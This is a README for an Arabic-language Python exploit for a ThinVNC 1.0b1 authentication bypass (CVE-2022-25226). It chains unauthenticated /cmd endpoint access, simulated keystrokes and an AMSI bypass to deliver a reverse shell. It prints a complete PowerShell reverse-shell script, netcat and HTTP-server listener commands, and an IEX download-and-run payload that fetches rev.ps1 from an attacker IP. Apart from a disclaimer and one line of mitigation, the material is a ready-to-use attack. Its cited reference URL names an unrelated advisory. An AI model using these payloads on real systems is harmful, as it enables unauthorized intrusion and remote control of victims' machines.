
نص استغلال بلغة بايثون لتجاوز المصادقة في ThinVNC 1.0b1 (CVE-2022-25226) يجمع بين الوصول غير المصادق إلى نقطة النهاية /cmd مع تجاوز AMSI وحقن الحافظة لتسليم قشرة عكسية.
المؤلف: krill-x7
المرجع: https://fluidattacks.com/advisories/sinatra
يحتوي ThinVNC 1.0b1 على ثغرة تجاوز المصادقة (CVE-2022-25226) تسمح للمهاجمين عن بُعد بالتفاعل مع الواجهة الخلفية دون مصادقة. من خلال استغلال نقاط نهاية /cmd المكشوفة، يمكن للمهاجمين محاكاة ضغطات المفاتيح، وفتح PowerShell، وتجاوز AMSI، وتنفيذ أوامر عشوائية — مما يؤدي في النهاية إلى تنفيذ الأوامر عن بُعد (RCE).
يعمل هذا السكريبت على ربط هذه الأوليات معًا للحصول على شل عكسي (reverse shell) على النظام المستهدف.
هذا الكود مقدم لأغراض تعليمية فقط.
استخدمه فقط على الأنظمة التي تملكها أو التي لديك إذن صريح لاختبارها.
rev.ps1 مستضاف على جهاز المهاجمpython3 thinvnc_rce.py -t <TARGET_IP> -tp <TARGET_PORT> -a <ATTACKER_IP> -ap <ATTACKER_PORT>
python3 thinvnc_rce.py -t 192.168.1.100 -tp 8080 -a 192.168.1.200 -ap 8000
rev.ps1احفظ هذا في ملف باسم rev.ps1.
مهم: استبدل 192.168.1.200 و 8000 بعنوان IP الخاص بالمهاجم ومنفذ الاستماع.
$client = New-Object System.Net.Sockets.TCPClient("192.168.1.200",8000);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
}
$client.Close()
rev.ps1من نفس المجلد:
python3 -m http.server 8000
nc -lvnp 8000
/cmd?cmd=connect./cmd?cmd=start.Ctrl+Esc لفتح قائمة ابدأ (Start menu).هذه هي الحمولة التي يتم تنفيذها في الذاكرة:
IEX((New-Object System.Net.WebClient).DownloadString('http://<ATTACKER_IP>:<PORT>/rev.ps1'))
استبدل <ATTACKER_IP> و <PORT> بعنوان IP والمنفذ الفعليين.
/cmd عبر إعدادات خادم الويب أو جدار الحماية للتطبيقات (WAF).